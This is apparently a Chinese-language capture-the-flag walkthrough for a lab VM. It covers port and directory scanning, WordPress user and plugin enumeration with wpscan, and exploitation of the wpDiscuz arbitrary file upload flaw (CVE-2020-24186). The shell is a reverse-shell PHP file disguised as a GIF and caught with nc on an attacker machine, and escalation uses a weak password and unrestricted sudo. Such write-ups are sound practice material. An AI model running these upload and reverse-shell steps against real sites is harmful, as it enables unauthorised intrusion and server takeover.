nmap扫描端口 ---- gobuster扫描网站目录 ---- wpscan发现wordpress漏洞插件 ---- 利用插件wpdiscuz的未授权的任意文件上传漏洞(CVE-2020-24186)getshell ---- 弱密码提权
环境信息:靶机:192.168.101.106
攻击机:192.168.101.34
具体步骤: 1、nmap扫描端口sudo nmap -sV -sC -p- 192.168.101.106
扫描到22和80端口
gobuster dir -u http://192.168.101.106 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
只扫描到下图几个目录,一个个看过去,发现/assets目录内有乾坤
http://192.168.101.106/assets/fonts/下有个目录叫blog,点了之后来到http://192.168.101.106/assets/fonts/blog/
观察http://192.168.101.106/assets/fonts/blog/发现应该是个wordpress站点
wpscan枚举wordpress用户名
wpscan --url http://192.168.101.106/assets/fonts/blog/ -e
发现用户jm3s
然后爆破jm3s的密码,但是没有爆破出来
wpscan --url http://192.168.101.106/assets/fonts/blog/ -U jm3s-P "rockyou.txt"
接下来尝试用wpscan枚举wordpress插件,可以选mixed模式或者aggressive模式
wpscan --url http://192.168.101.106/assets/fonts/blog/ --plugins-detection mixed
发现两个插件,其中wpdiscuz有未授权的任意文件上传漏洞,可以getshell
在利用任意文件上传之前,需要让网页正常显示,从网页源代码中可以推断,网站的hostname应该是
blogger.thm
修改攻击机的/etc/hosts,增加一行192.168.101.106 blogger.thm
下面这篇文章是该漏洞的复现(CVE-2020-24186),照着做一遍就可以getshell
https://www.jianshu.com/p/6f178aec2749
先随便点一个文章,比如第一篇http://blogger.thm/assets/fonts/blog/?p=29
拉到文章最下面,在提交评论的右下角有个图像的图标,点击这个图标
将kali中/usr/share/webshells/php/php-reverse-shell.php重命名为shell.gif,并在文件内容的最前面加上"GIF89a"(不好意思图片里面写错了,不过居然过了验证^-^),然后将$ip和$port改为攻击机ip和监听端口。保存后在此处上传。
上传过程中用burp抓包,将请求报文中filename改为shell.php
响应报文中可以看到shell.php的存储路径http://blogger.thm/assets/fonts/blog/wp-content/uploads/2022/09/shell-1663674140.4664.php
攻击机上nc监听8888端口
nc -nlvp 8888
浏览器访问
http://blogger.thm/assets/fonts/blog/wp-content/uploads/2022/09/shell-1663674140.4664.php
在攻击机监听端口上得到www-data的shell
执行下面的代码可以得到交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
进入靶机/home目录发现有三个用户,经过尝试发现vagrant用户的密码和用户名相同,用su - vagrant
命令提权到vagrant。
提权到vagrant后,执行sudo -l
,发现vagrant可以以任何用户的身份执行任何命令,因此可以用sudo su -
命令提权到root
两个flag文件分别是/home/james/user.txt和/root/root.txt,内容都是base64编码的,可以用cat xxx | base64 -d
命令解码
cat /home/james/user.txt | base64 -d
cat /root/root.txt | base64 -d